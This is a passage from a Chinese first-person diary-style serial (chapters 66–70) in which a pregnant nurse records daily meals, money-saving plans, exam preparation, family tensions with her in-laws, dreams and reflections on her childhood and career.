    第三我吃了鸡蛋，我真的一吃鸡蛋心情就不好，可是鸡蛋很有营养，老师他们的孩子都是吃了鸡蛋的，他们的宝宝很健康很聪明。为了给宝宝投资，也为了省钱，因为我冰箱里的鸡蛋好多，如果不吃掉就会坏掉，那是妈妈她家里养的，也花费了很多时间精力还有粮食，如果不去用的话，就浪费了。奔着省钱的念头，好像也没有那么难受了。最近食堂餐好多鱼啊！以前我超级讨厌吃鱼，因为会扎到骨头，自从知道吃鱼对宝宝好之后，就变得可以接受它了。
    第四点我写了一篇文章，文字比较流畅，很开心，自己可以写出来。表达出自己的心中所思所想，比之前的自己长进了不少。
    第五点，面对自己对老公的抱怨，及时止住了情绪，问清了原因，没有随心所欲的乱发脾气。挺好的。
    第六点，我认为我还是不要对老公有很多的期待和指望，因为期待越多越大，他实现不了会更让我心情不愉快。因为我对我自己的过高的期待也从来没有实现过，不要去为难他也不要去为难我自己，一切顺其自然吧！随缘自在。
    第七点。最近换了新被套，真的很开心啊！好舒服！我需要记录下来这种心情。我好久没有换床单了，因为想换的时候自己一个人就懒得动手，然后又拖延了几个月的时间，还好结婚了，让老公干。换了之后超级舒服。真希望新租的房子早一点弄好，一个星期换一次的床单理想日子早点来到啊！
    第八点，我娘家还有一大堆衣服是我同事送给我的。四五年前送的吧！我看到了小妙招，我认为还是可以选择一些好好穿，不要扔了，因为那些衣服其实都还很新，然后再花一大笔钱去买衣服，好像也不太划算，然后自己本身买衣服就是有在咸鱼买的。可以好好选择一下，不过怀孕了更胖了吧！所以还是生完宝宝之后吧！省下来的钱去买一个运动器材。比如跑步机之类的，因为我真的很讨厌散步。我喜欢待在房子里，正好可以买一个这样子的，就可以好好锻炼身体，反正也就花三十分钟的样子。以后得新衣服就在拼多多买，淘宝也可以。买比较便宜一点的。更多的钱用来攒钱买房，等以后宝宝会交给家婆带，家婆没有收入来源，那么时间久了她可能会不开心，老公说他每个月打算给家婆两千块钱，我认为好少啊！可是这也是我认为的，因为老公的工资也不算高，然后还有债需要还，宝宝至少需要带到三周岁左右。然后上幼儿园。上幼儿园每年至少五千块钱。在她没有上有幼儿园的时候，有一些阶段的衣服，可以和亲戚商量一下，看一下他们的小孩子的衣服，可不可以留给我，我用来给宝宝穿。省一笔，老公虽然不太喜欢这样子，可是真的一大笔的开销啊！能省一笔是一笔，我本来想自己做的，奈何意志不够坚定强大，所以没有做出来。只能这样子了。因为我小时候也是穿别人的衣服长大的。希望不会介意吧！里面的衣服可以穿自己的，外面的穿别人的也行，也可以找一下我以前的衣服给她穿，如果宝宝是女孩子的话，上次我弟弟穿了一件我二十年前的衣服，还挺好看的，那件衣服还是我好小好小时候的。真的可以节约一大笔开支。其实还是自己做更好。
    第九点，六一儿童节想给弟弟买一辆玩具车。我也不知道我要不要买，其实我想买给他。因为我把他的玩具车给弄坏了。我认为我应该赔给他，本来想买好一点的给他，可是我好像并没有很多很多的钱，只能挑一般般的了。不知道他有没有长高啊！还是希望他长高一点。
    第十点。我学到了一点点的知识。原来一开始怀孕增大的子宫会压住膀胱，所以会不停地想上厕所，然后到了一段时间子宫它就会长出盆腔，然后就不会有不停上厕所的事发生了。自己经历了一下，就知道怎么回事了。挺好的。
    今天下了很大的雨。红薯已经被我吃完了。我需要再买一点。冰箱里还有我上次做的饺子。晚上可以吃。然后水果也吃完了，我需要重新买苹果，因为苹果可以排除湿气，吃了更不会便秘。然后我需要去拿快递，今天的快递，挺好的是驱蚊子的中药包，孕妇可以使用的那种。下午去吧！今天晚班。能休息一下是一下。
    近期还有七百多的题目需要做。我需要做。

 第66章

    去街上吃了一份肠粉，味道没有别的地方好吃，可是分量很足。很多一份就吃的很饱的那种。店家的店没有垃圾桶，一米宽的地三米长的小地方摆了几张小桌子，一些塑料凳子。然后里面一大截还放了缝纫机。挺简单的。还好出门不一会儿就看到了清洁工的车，我就顺便丢了个垃圾。因为下班八点多，几乎上班的人都上班去了。去拿快递的时候，快递员以为我上班。不过我没有讲什么。就走了。回去之后发现锅里还有吃的，我留给我老公，老公可能留给我吧！所以他没有煮。不过我都吃好了，然后倒头休息。快递出来的中草药包驱蚊的，味道有点不适应，呆了好一会儿，睡的好像还行，看了一会儿视频，看的好久啊！再看了一会儿。真的好羡慕别人可以拍的那么好看啊！好羡慕我也想拍的好看一点。为什么我还没有长进呢？都一年多了。然后自己也简单拍了一个，锅没有洗的很干净。。。。不过也上去了。希望下次做的更好一点吧！
    看了其他的人的很久很久以前的视频，他们拍的一开始也一般般后来越来越好的，所以在自己低谷时期的时候，就适合看看别人一般般的视频，给自己打打气，然后再好好想一想自己哪里需要提升和改进。看到了别人的小夫妻，应该是两个人每个人每月工资4000元吧！正在努力攒钱买房的视频，羡慕啊！而且他们的晚餐都不是很贵。做的还算温馨。我也想做好吃的。
    好想买水果吃，在网上买的李子，两三天就吃完了，还有一箱预售还没有发货，我好想再买啊！可是吃水果吃的好贵啊，这个月就花了五百块钱了。有点不想吃那么多。我还有阿婆做的杨梅干，味道还行，每天几颗。她送了一瓶给我吃。苹果吃掉了。李子其实我挺喜欢超市里那种十元三斤的李子，挺普通的而且又甜甜的。很想买，可是现在自己又懒得走。我其实还需要去打印准考证。测试了一下，心理上居然是能够通过的，不知道自己哪里来的自信啊？自信心那么强大。有点意外。
    有点想买紫薯吃了。可是红薯又买了一箱，上次的有一部分没有吃完，长牙了，吃完红薯再买紫薯吧！
    衣服没有洗，然后钙片差点忘记补了，铁剂还没有补。需要补了。水果还是需要买吧！因为水果有好多Vc之前看到过Vc不充足容易羊水早破。也不记得是哪年看的了，好像四五年前我弟弟出生那年看的知识，时间太久了也不知道有没有误差，总之我需要吃水果，不能忍，需要买。
    买的芝麻片还没有到货，听同事说她家的怀宝宝的时候吃了芝麻片核桃还有苹果，每天都吃，她家宝宝的头发长的特别的好看。我也要吃。
    有一些孕妇餐好想按着书本里的内容去做啊！可是不知道为什么我迈不动去超市的步子，搞不懂原因。
    最近好气愤啊！真的我好想用我的手机拍视频啊！那个好手机为什么一点都不想用，我感觉我好神奇啊！为什么好的摄像头不想用？为什么？来气！！没有动力也没有欲望。
    家公帮我把衣服带了一堆过去新的住的地方了。还有一大堆的东西。需要搬，很想去卖我的垃圾，我买的东西的快递盒子，可是下雨我懒得走。
    早餐一般都是在外面吃，中午如果是白班的话医院有饭吃，晚上去家婆家公那里吃。昨天家公听说我不做饭，他好像有点生气，可是本来就是嘛，早上谁起得来，老公都不起那么早。我本来是比较早睡觉的人，被老公一带晚上很晚才睡，要是我早起，真的是太不舒服了。过一段时间我需要和家公家婆一起住了，内心真的非常忐忑不安，要是婆媳关系不好的话，怎么办？不知道凉拌呗！反正条件就摆在那里。
    昨天家公骂了弟弟好久，老公的弟弟，他好小啊！做作业的事吧！反正我也搞不懂他们，我也吃饭，我说了一点，不知道会不会得罪家公，不管他，因为以后我的小孩子肯定也是家公家婆教，这样子教下去，不止弟弟会变成废物，我的小孩子也会受影响，而且以后我和老公肯定是上班，没时间去管小孩子的，更别说小朋友的教育问题，肯定是需要家公家婆帮忙的，他们教育方式有问题，容易教出废物，虽然我和老公都是废物，但是越看越没办法。我有点搞不懂家公的心理状态是什么？好像愤世嫉俗，又好像是使不完劲的攻击性，搞不懂，总之他骂小孩子挺凶的，特别是学习上，就像天天在脑子里暗示自己的孩子读书不行一样，不知道他为什么会这样子？他是不是在讲他自己读书不行呢？不清楚，人生啊！真的太不容易了。总之我不能和长辈吵架。不想太多的干涉别人，可以我们现在买不了房子，不然真的不太想一辈子待，因为听到别人骂人就真的不算特别的开心。算了等我有了小孩子，我估计也会很烦吧！只是我的孩子没出生，不理解长辈的这种烦恼而已。我家里就妈妈回来就骂的很惨，不管做什么，好像待在那里就是一种错误一样。而爷爷奶奶带我们的时候，感觉自己是一个很正常的人，可是某一段时间他们也会让人感觉很奇怪，想帮他们做事情，就感觉他们怕自己被抛弃了，所以不要我们干，一动手，就说自己老了，没用了，巴拉巴拉的，听的很烦人。然后不动手了，就逢年过节就说我很懒。可能我没有什么智商吧！实在是智商不够，不理解，到现在都不理解这种做法是为什么？越长大越感觉自己更笨了一点。算了吧！这个世界上都是生存模式，生活模式很难开启。没劲啊！家家都有一本难念的经。看一下我娘家，好像也还好，至少我们家的人出去之后，日子虽然过得不算大富大贵，但是有一定的审美观，为人品行端正。家公家婆家里似乎都是实干型的人，工作能力很好，老公也是这个样子，他们的执行能力很不错，我看到了我就特别的佩服他那一点，做什么，他都做的很好，可是他心里面么有什么自信心。这是他家里的教育方式的不同原因。我娘家爷爷奶奶的教育方式，就是导致我的动手能力不行，可是心性还不错，虽然也会有人性的阴暗面，可是大部分都是有阳光进来的。妈妈的教育方式就是我的孩子就是我的提线木偶，我过得不好，希望他们也过得不好。可能她过得很累，很累，所以我也累。这是我眼睛里的妈妈，其实她的生活相对于我来说是幸福的，很多人都很羡慕她，可是她的精神世界里是不开心的，因为她失去了爸爸这个精神支柱。所以心灵里累，也是一件难受的事。不知道谁的生活是美好的，其实这个世界上没有哪一个人生活很美好很美好吧！听说古代是吃人不吐骨头的社会，每个底层的人都活的特别的艰难困苦，所以有很多没有人性的事情发生，可是现代社会也慢慢的差不多了。都是生存模式。
    凡事都需要三思而后行。
    朋友快要结婚了，可能年底订婚。挺好的，他们买了新房子，付好了首付，她听从自己心里的声音。认为那个人还不错。他家里人不认为。我也不知道。总之我也不能帮别人做决定，如果可以肯定是不结婚更好吧！最好没有男朋友这玩意。保持单身独自美丽。真的以后得生活不会特别的美好。
    婚后生活，要么鸡毛蒜皮，要么家长里短，要么茶米油盐。没劲啊！不过她说哪一种选择以后都会后悔。单身没有结过婚，看到别人生活的幸福美满，会很羡慕，有儿有女。结了婚好多的家务事，家长里短，表面上看起来是不会说自己过得有多不满，总的来说是不会很自在的。特别是像我们这样子的人。所以好好生存吧！对生活没有期待就不会失望。
    定期定一些小目标，比如学做一道菜，比如做一些小计划，去哪里散散步，或者聊聊天，或者看一本书，好好缓解自己的心情吧！等我老了去回忆一下以前，看到自己做了哥们有成就感的事，就会感觉自己很幸福。把家里的杂事想办法处理掉，干完了好好的奖励自己，就会变得生活更有动力，总之哪里都有麻烦的，解决不完的事情，可是也得解决啊！

 第67章

    果然挣得钱啊！都是和自己的认知有关。突然之间和朋友聊天。发现了自己曾经的一个致命的缺点，那就是认知不足。然后在最重要的时期错过了很多事情。导致自己的进步缓慢。可是那个阶段额的自己又特别的心累，能够在心累的时候，做到不随波追流，不贪慕虚荣，克制自己的购物欲望，这也已经很难得了。
    所以认知不同事情的变化也不同。如果我能够在那个阶段好好努力，坚持下去，那么后面的事也就更容易的多。可是人生不会重来。世界上也么有后悔药吃。所以再一次加油吧！好好学习提升自己的认知。
    今天听了《穷爸爸富爸爸》的序言。还不错吧！我认为这本书写的好，可是在我我的认知里，那位穷爸爸的生活仍然是让我感觉到很羡慕的。毕竟我的生活还是需要像穷爸爸学习。努力提升自己的的学历。有稳定的工作，然后才能够有本金去成为一个富有的人。富爸爸的思维模式，我好像学不太会啊，毕竟这不是一朝一夕的事情。连穷爸爸的思维模式对我来说都蛮难实现的。因为我的思维模式就是三心二意，很容易被打断思路，然后做事不坚定的信念。所以其实对于我来说能够学习到穷爸爸的思维模式也能够让我比现在更愉快的度过一生了。而富爸爸的思维模式是在穷爸爸的基础上再一次进阶版的那种。毕竟两个人都是聪明人，而我却一般般的智商。一般般的执行能力。所以我需要学习他们的思维模式，我并不一定能够成为这样子的人，可是我仍然坚持下去会比现在的自己过得好一点点吧！
    嗯！
    今天买了一些嫂子的桃子，本来想帮她推荐的，不过我发现我给同事推荐都特别的心里感觉到吃力啊，有种感觉对方一定很讨厌我，或者认为我是个很差的人。可是嫂子家的水果一直都很好吃。她送过很多好吃的水果给我。基于我对嫂子很好的的印象我才买的，可是我推荐给同事的时候，我就特别的害怕，害怕别人会认为不好，而我在强行推荐的那种，好奇怪的感觉好别扭的感觉啊！就像我给我老公推荐一样，也是这种超级别扭的感觉。我同事看到老公做的设计图说他设计的很好，居然费用很低，很不可思议。。。。而我没有太多的感觉，有一种感觉特别害怕会被同事讨厌的感觉。难道这就是社恐的症状。真的一点都不想去交际啊！好害怕和别人交流。除非是让我感觉很安全的人。可是我又不记得自己感觉很安全的那些人究竟有什么特征了。
    真的奇奇怪怪的我。我给老公推荐拼多多的衣服。因为他在店里买的衣服，质量应该很好，可是一下子就花了不少钱。这个月我们有点拮据，需要吃土的那种。所以我推荐了拼多多。因为我的衣服就是在拼多多上面买的，很便宜。一年到喜欢的实体店买一套很贵的品牌衣服，其他的时候都是拼多多买了。
    因为我们需要攒钱买房子啊！品牌的衣服可以穿很久，攒的钱买一套穿十年不坏的衣服很划算，而像天气很热穿很便宜的衣服，穿个一年半载就换一件新的，也很划算。
    鞋子可以买贵一点，因为鞋子需要走很久的路，便宜的鞋子对脚的伤害比较大。所以需要好的。
    然后大牌的店里有搞活动的时候可以去买东西。那些牌子的东西打折了之后质量依然很不错。这是在一些up主身上学到的，跟着买了几件衣服，确实挺满意的。
    不过更多还是用拼多多，因为需要攒钱做大事。
    最近买的芝麻饼到了，吃了一点点，还行不是很甜。我需要买高钙牛奶了。牛奶真的好贵啊！居然四五块钱一瓶。盒装的，瓶装的像阳光鲜奶之类的就更贵了，不过同事说很好喝。还是舍得一点吧！为了宝宝，也为了让自己身体质量好一点。看其实没办法省钱的，这边节流，那边就花出去了。
    今天三楼的领导送了一些桃子给我们吃。挺好吃的。然后我没有留给我同事吃自己吃光了。因为有一些桃子有破损，我担心她会不开心看到这样子的模样，扔了的话多可惜，所以都吃光了，没想到味道那么好啊！是别人家里种的，特别特别的好吃。所以今天本来打算买水果的，没有去。晚上看到了朋友圈嫂子的果园桃子熟了，就买了五斤。希望会是好吃的吧！因为我挺喜欢吃桃子的。最近桃子李子，西瓜各种各样的水果都特别特别的想吃。果然怀孕了口味不一样啊！没办法忍，可能也是好多年没有畅快的吃果子了，趁着这次怀孕可以开心的多吃点吧！因为不怀孕了，我肯定还会因为想要攒钱买房，而节衣缩食的。衣服可以穿便宜一点，食物可以不需要那么精美。水果可以可有可无。基本上水果就一定会从我的食物中除名，所以趁着怀孕吃个够。这也是无奈了。
    我今天看到了死读书的故事。没想到死读书是一种赞美呢！虽然故事里的主人公们都不是天之骄子，过得生活也不算特别的圆满幸福，可是他们就像文章里写的那样，特别的有自制力和意志力，所以最终他们的结局也许并不是大富大贵的人，不过也过得很充实幸福。这让我好受了一些。因为我也是个死读书的人。几乎是个书呆子。可是除了读书使我快乐，好像又没有其他的爱好了。所以这样子的我其实也很棒，对吧！开心。坚持下去吧！多学习，哪怕以后得人生道路，并不如别人有滋有味，可是在我的人生里已经很不错了。

 第68章

    快凌晨一点了，不知道为什么睡不着。本来很早就会睡觉的。
    回了家公家婆家，嗯嗯睡的不怎么香，等这个月过后我就要退我的房子，以后在这个房间住很久了。其实我一直在这里都睡的不太好。可是我老公需要带我回去，因为他说我没有在身边他睡的不太香。可是他在身边我睡佛不太香啊！不知道怎么回事？可能是晚班吧！白天睡的比较多。等以后在这个家，我就需要下了晚班也不能休息了吗？哎呀！真难受啊！可是如果白天睡的久一点，晚上就睡不好了。确实得想想办法才行啊！不然明天需要上班又需要考试，虽然题目我去年刷过一摸一样的，可是今年我刷了两遍的样子，去年还有印象，可是多学习总是好一点的吧！
    最近还有几百题另一个科目的还没有刷完，还有6月2号考操作。需要练操作了。这几天需要准备。
    老公评为入党积极分子了。挺好的。如果他去乡下当村干部的话，就需要好感攒钱，买车，可能需要花十万块钱。今天听到有点开心，因为这件事盼了很久。可是又有压力，因为十万块钱，还是需要攒一段时间的。反正头两年都会过得苦一点。
    希望一切顺利吧！
    还有很多的念头，我想到了弟弟，妹妹，他们曾经在一些很重要的事情里都帮助过我，我很希望能够帮他们的忙。哎呀，真希望能够写的文爱能够好一点。能攒钱做自己想做的事情。
    去乡下当村干部的话。工资可能低，但是有五险一金，有假一个月应该有四天，现在老公的工作还行，可是一个月两天的假，也确实好少啊！要么就在工作很累的地方干活，要么就在工资很少的地方干活。反正就这个样子。鱼和熊掌不可兼得。
    有点远。不过也还好。如果能成，挺好的。如果选为了入党积极分子，党员，不用去当村干部，就在现在工作的地方上班，应该也好。听说党员需要入党费。不过一般工资多少就出一定的比例，听其他的党员同事说挺好的，并不需要特别的多。之前做学习强国，我也看不太懂题目，我还以为党员需要每个月交一千块钱。我就没有很强烈的入党想法了。这不是我这个穷人可以入的起的。后来听到不需要那么夸张，感觉还可以嘛！
    老公能够入也可以。反正我也不知道党员是干嘛的。老实说。就是看了一些党史，党章，可是也看不懂，领悟能力和政治能力我的确实一般般。所以我也就晚上睡不着的时候，听听共产党宣言，催眠，睡个觉。以后共产党宣言听的熟了，就换一个更枯燥一点的听一下子，慢慢的失眠症能够治好，知识也能够增长，一举两得。
    想到了知识，我又想到了知识付费。我前几年花了一点点钱，去购买课程。学习。学了之后，发现自己并没有学会什么。后来也就没有学习了。可是最近有一个思路就是，知识付费虽然不能让你学到很多东西，可是却也可以开阔眼界认知。像有的东西，比如想法之类的，去花了钱学习之前和学习之后，思维就是有一点点不一样，看问题的角度更多了。就像我的会计学一样，虽然证我是没有考到，可是我不太会仇富了。心灵更不会那么扭曲，我也知道扭曲的原因是因为自己太匮乏了，太穷了。然后对很多的东西都不是很理解，就更容易迷茫，去有黑暗的想法，让我成为一个阴阴沉沉的人。这样子不好，尽管我能够明白可是很难控制思想。
    学习了之后，很多东西理解了，就更平和的看待别人拥有的财富。这就是收获吧！尽管我没有考到证。
    还有一个知识付费就是记忆力提升法。花了一点点钱。看完了，不得不佩服别人的大脑确实和我们相比很有想象力。可以把很多乏味枯燥的东西变得很有趣，然后记起东西来也就得心应手。学习了这些方法，我并没有花很多时间去练习，所以我学习效果是很少的。因为方法交给你了，需要自己不断的重复练习学习，大脑才能好好使用这份能力，学习什么都一样，需要很多的自制力意志力，毅力。坚持。工作也是这样子。
    所以我哦承认我的不足，可是我并不太想改变我的不足，我也很想知道为什么我不愿意改变我的不足？可能在我的认知里，我认为自己是一个底层的人民，我不太想脱离这个身份吧！如果学习好了，能力很强大了，那么工资肯定很多，然后我就更快买车买房，会变得很富有，可以吃很好的，住很好的，买很好看的衣服。可是随之而来的就是麻烦，可能我会遇到一些心理不正常很阴暗的人，就像曾经的自己一样，虽然也不曾去伤害过别人，可是那种静静的待在他们身边，就可以感觉到对方很讨厌你的能量，会让我感觉很有负担。心情不好。可是待在底层也一样会遇见这样子的人。可是我害怕去进入一个更好的的生活。也许等过一段时间我会明白为什么我会特别特别的害怕什么吧？
    很神奇的思想，就像穷爸爸富爸爸里面的，有的穷人的观念是金钱是罪恶的。所以有了这个认知的人，一般潜意识都不太想挣很多钱。也许我的情况是这个样子吧！这是心理潜意识里的。

 第69章

    昨天的我简直就是非酋。拼夕夕的抽奖，我抽金元宝居然一个一个抽，我同事他们又获得了一百块的奖励。而且还是两个，而且只玩了两个小时。我没有玩多久，然后我也很少发消息出去，然后别人的消息我也没有点很多。因为我上次玩了一天一夜，结果还是最后一分钱没有拿到。最后一分变成了0.01还需要一点点的抽然后还有福气卷轴，那个玩意坑了我很久，我对拼夕夕的抽奖失去了动力。就算天天都看到别人领钱，我也已经麻木了。
    昨天做的很棒的事。
    第一我考了97分。理论。八十分以上及格，我过了。
    昨天我看到有人说自己老婆是中专护士，硬深深的被医院逼成了硕士。我也想那么牛皮啊！中专怎么考硕士，现在成人大专的证拿到了，我下次需要进成人本科。这个月十月份考试，正好是把宝宝生完没多久的样子。好好努力吧！
    第二面对生活琐事，一些下意识的反应，变好了。凡事三思而后行啊！我总感觉有点怪怪的，不过我迟钝了一秒，发现人家也没有什么恶意，只是习惯了这样子说话而已。既然这是别人的习惯那么就好好适应就行了。不是所有人都和自己一摸一样，有各种各样的角度看待这个世界。我很高兴我能收获这一点。
    第三我比前天更早睡了。十二点睡的。下午一下班我就休息了一下。因为太困了。本来那段时间计划去练习操作的，不过很困，我就睡了。等到晚上和老公一起回家公那里吃饭。洗完澡，洗完头发挨时间一会儿，到医院就九点了。想练操作，发现只有我哦一个人。根本没法练，因为我没有操作流程。然后临时翻，发现自己根本不懂怎么说，语言不知道怎么组织，然后只能问其他人。还好问到了，这几天需要好好的背下来。我认为我还是需要一下班就去练操作。可是一下班好累啊！就想躺着。今天就一下班就去练操作吧！练到六点半左右，然后让我老公来接我去吃饭。我很高兴我能好好调整我的时间。
    第四。看了小蝶的视频，我又想买摄像头了。啊好想和小蝶一样精致啊！不过结婚了，就更难了。以前我最喜欢阿曼达，因为阿曼达做的菜很好吃，我去尝试了几次都特别香。太美味了吧！然后现在我这个大猪蹄子喜欢小蝶了。因为她做的东西看起来很有美感。而且我看到了她失败的经历，每次我失去信心的时候，我就去看她曾经的视频，这让我知道了别人也是努力而来的成就，让我有动力。所以我也很想做的一样好。可是老公说太贵了。不过我的手机也可以这样子用，我有设备啊！真希望我能鼓起勇气越来越自信的使用它去实现我心里的目标。
    第五，我有了挣钱的想法。以前是没有想法的，能活一天是一天。不过我在最艰难的日子里仍然坚持储蓄。把工资分成好多分，存银行。这是非常明智的选择。导致现在的我。也是这样子坚持下去。可是之前的我没有挣钱的想法。因为太丧了。现在的我感觉到了生活拮据。结婚之后，感觉自己很需要钱。所以有了动力。不丧了。挺好的。希望自己能够朝着自己的目标奋斗吧！做自己喜欢的事。坚持把这份爱好做好就行了。
    第六。刷题刷的很棒。尽管正确率比较低，可是我仍然坚持了十分钟。看我在最难的的题目面前都能坚持那么久，真棒啊！再接再厉。
    第七看了一下理论题，有一些是我的薄弱点。就是静脉炎的，还是who疼痛级别分型。这个内容我看过几遍了，可是还是不太明白。我昨天再次看了一下。好像也记住了一点点。挺好的。
    第八。老公接受了拼夕夕，好开心的就是这个吧！他买的衣服，其实对于其他人来说是比较的便宜的，对于我来说是有点子贵。所以试着给他买了两件拼夕夕的衣服，他接受了。真好啊！买车买房又能省下一次小钱了。不过我们有时候还是会去实体店买衣服的，只是会比以前的次数更少，因为有了人生目标。
    第九我需要收拾房子了。过几天需要搬家了。在那边我可能需要适应一下。我相信我能够适应吧！
    第十在面对有一些语言表达能够影响我的心情的时候，我没有被影响心情，而且状态很好，这是一件很棒的事。做的好！
    分享我的梦境:我梦见我在采蘑菇。采了一篮子很新鲜的蘑菇。然后我又看到了葡萄，好多剥了皮的葡萄。再一个梦境，我老公吃掉了一份苍蝇贴。好奇怪啊！苍蝇贴上都是糖浆。下一个梦，梦见了我的床。睡的特别的香转了个身。我看了一下解梦，这都是好运气啊！说明我心里面非常有安全感了！

 第70章

    晚班。昨天练了一会儿操作，还可以吧！练的吸氧。还有几项还没有练。采血还没有看到人家练，所以也不太会，今天晚班刚好可以把流程背下来。
    昨天和同事聊天才知道，党费原来一年才两百块钱左右。我的天哪！挺少的嘛！才一条裙子的钱。而且我知道了另一个同事她也是党员。好羡慕啊！同一批次申请的入党呢！不过我写的比较晚，而且我入党意志不是特别的坚定。因为我担心入党之后的费用很高，承担不起。所以写是写了，可是我也抱太大的期望。随缘分吧！然后那个时候信息有误，听说只有一个名额，而且听到单位定下来了人，是一个四十岁左右的同事。而且单位入党听说很麻烦。所以就没有去期待什么。听说总是和胡说有一步之遥的。哎呀！反正我的入党期望也不是很高。听说成为了党员可以当领导。不过我并没有当领导的能力。只是认为入党了比较划算，以后万一有什么事情，有备无患嘛！就像驾驶证一样，如果拿到了，我会。万一有什么事情我能够发挥自己的能力。就那样子吧！不过我的驾照还没有去考科目一，报名已经报了好几年了。我也不知道我怎么回事？我比较害怕去学习吧！啊呀。我真的搞不懂我究竟在想什么？
    也许我的功利心太重了。看待什么都是让我看见有利的一面，可是我内心里并不喜欢全部都按照功利心去做事，所以做的并不好。也没有那个心情去做什么。
    昨天家婆做的汤，胡椒糯米猪肚鸡，那份汤超级的美味。很好喝。喝了大半盆。家婆好辛苦啊！她前天上班，居然从八点上到了晚上十二点。为什么要那么累啊？真希望她做完这个月就换一个工作单位。可是我也明白，我只能建议，并不能强求，如果家婆她自己喜欢，那也没有办法。所以她白天休息了一天。太累了吧！难怪那个工厂天天都在招工。
    今天睡醒的时候很晚了将近十点才起。做了一些梦境，可是记不起来了。不知道自己梦见了什么？全都是黑色的一片，可能快要考试了，我心情很压抑，很焦虑吧！因为我每次考操作都是这个状态。临考试的时候就一个劲的想逃跑，因为对我来说考这个好难啊！
    还是超级困。晚上应该更早休息了。
    今天我又知道了好多人领到了拼夕夕的红包，而且好多钱。我有点不开心了。为什么我没有领到？因为我并没有好多的朋友帮我点。而且我没有偏财运。真的是难受啊！难受个毛啊！人比人气死人，可是也很正常吧！也许我需要好好学习，好好的把精力放在工作上吧！我的脑瓜子确实只有这么一点。这是没有办法的事。
    昨天看到了一位大哥讲的东西。感觉很有道理，可是感觉自己听不懂。我能听懂的就是我们的手机看到的负面新闻信息太多了。然后又有的一些励志类的东西有点多，那些东西又没有什么太大的营养，导致内心里面没动力。一事无成。可能他讲的道理不是这个意思吧！可是听到我耳朵里就是这个意思！
    这个也有一点点像。因为之前看到的负面的东西很多，导致看书都看不进去。然后每隔一段时间就感觉自己什么事都没有干，却仍然情绪消耗很大，看了一些搞笑的东西才缓解过来，或者是一些比较凄惨的人!比如残疾人看到了心里会升起同情心，或者其他的情绪才能够缓解自己快要挂的心情。可是周而复始的这样子好像对于我自己来说确实没什么改变。我还是原来那个我自己。时间过得迅速，却并没有什么成长，心灵成长的东西。没有那种脑子里面豁然开朗的感觉。
    我好像一直在找这种感觉。可是怎么也找不到。找不到我就选择放弃寻找了。因为日子本来就是一天天的过。曾经没有你也活的好好的啊！
    最近梦见了一个想不起来很久的人。梦境里他给我的情绪是一种不开心的。其实很久以前他给我的梦境是非常幸福的，只要能够想起来就是一种非常幸福和安全的信息，不过后来选择忘记了。因为这种感觉也给了我很多的负担，我感觉他很好，希望对方能够在我看不见的地方仍然过得很不错。是快乐的，能够在未来的日子里开怀大笑。这也是对我自己的期许。
    不过不知道为什么会梦见糟糕的情绪？我不太明白。希望在未来的你亦或者我都过得好吧！因为我的层次是这样子的位置，没有能力去上一级的层面。我就好好待在这里也好啊！既来之则安之。我的脑子是属于二维层面的，我知道还有三维四维和五维的脑子。我只能看到我的眼前，所以我也只选择我的眼前。我的条件决定了我的眼界。尽管我也想提升自己的认知，可是我并不具备这种能力，所以我选择我的现在。我的当下，把我的当下过好就是我最好的样子。我的当下的问题都很多，搞得我有点焦虑，更不用去思考其他的以后得事情了。
    总之希望一切安好。顺利吧！
    对于我来说过好现在就可以了。如果我没有理智，我只有情绪完全心灵的那种的话。我的梦境里也出现过这样子的场景。我也没有选择什么啊！这就是结局。不管是曾经还是现在，或者是未来。我也不明白我的心理是什么。我需要再休息一会儿。
    本来我计划今天练操作的。
    哎呀真不想记起他来。
    你走你的阳关道，我过我的独木桥。后来的后来各不相干，其实也很美好啊！相隔很远很远，时间也过去了好多年了，我不相信，有什么东西是时间改变不了的。心里的执念，我是看不懂的，所以也没有想到过需要我去看懂。看懂也没有什么意义。能给我带来很多钱吗？我就缺钱，也缺脑子，缺少很多的认知，缺少智慧。像我这样子的人呐，能把一日三餐的事情处理好来就已经很不错了。我不期待更多的东西，是因为我的条件限制了。思维里的墙我拆累了，就不拆了。我不知道怎么突破自己。想去突破，可是没有路，我害怕很多的东西。
    我怕什么呢？可能我写出来我都想笑吧！小的时候，爷爷夸了一个人写的字好，我并不认为他写的字好，我只认为爷爷是虚伪的，只会说假话。所以我选择不练习写字了。因为我知道别人的夸奖其实都是假的。没有真情实感，也很无趣。这件事我没有讲出来的过，那个时候我好小，那个时候那个写字的人也很小。我并没有考虑过对方是一个小孩子，他可能需要的是鼓励。对于爷爷看待小朋友来说，他是长辈对小辈。这是我思维的局限性。小时候我不太爱说话一年说不上几句话有点自闭症的样子，家里人很发愁。爷爷奶奶请老师用了各种方法让我说话，希望老师能够鼓励我，而不是唯唯诺诺的样子生活。可是在我的眼里，我认为老师是不好的，他可能会有收受贿赂的样子，或者只是因为爷爷和他的关系比较好，他才那么区别对待我，为什么他会夸我而不夸别人呢？而且我并没有感觉我做的比其他人好。这样子让我有一种不公平的感觉。他的课我就更是一个耳朵进一个耳朵出所有的同学都认为老师是非常好的老师。可那个时候的我不明白。等我长大了，看到了一些教学材料。我才知道老师和家人的用心良苦。不过这也过去很多年了。本来光明的童年因为我的乱七八糟的想法一片阴暗。这是没有办法去改变的。这是思维和认知能力的问题。
    等我长大了，怕交男朋友，很多书上都写了各种各样乱七八糟的事情，感觉长大的人生很恐怖，充满了绝望。每个阶段有每个阶段需要害怕的东西。
    卫校的时候，听说护士是有好多会搞乱七八糟的男女关系。然后工作能力比较好的那些人听说背地里都不太好。各种巴拉巴拉的事情。导致我对这个行业蒙上了一片心理阴影。还没有上班就有工作压力。然后实习了发现她们的工资有点吓人的低。特别特别的想转行。可是我的脑子限制了我的思维。我什么东西都学不进去了。我也没办法。只好从事这一行业，可是我发现自己并不适合这个行业。可是太穷了，没得选择。
    去了乡下，一个月底薪九百。仍然会有朴实无华的农民伯伯认为我们这些护士是被潜规则过得，被人随便睡过的。。。而且是当着面讲的。听的多了，也就麻木了。
    我不知道我坚持下去的意义是什么？学医其实学不懂很多很多的知识。学无止境。有的时候我会把自己想象成一个坏人。因为我太坏了，所以病人其实是对我的惩罚而已。有的时候会把地球想象成地狱，我会是挥着鞭子鞭策他们的刽子手，可是我也会慢慢的变老，而时间会让我的身体也慢慢变得脆弱不堪，之后我也会被别人鞭策而已。
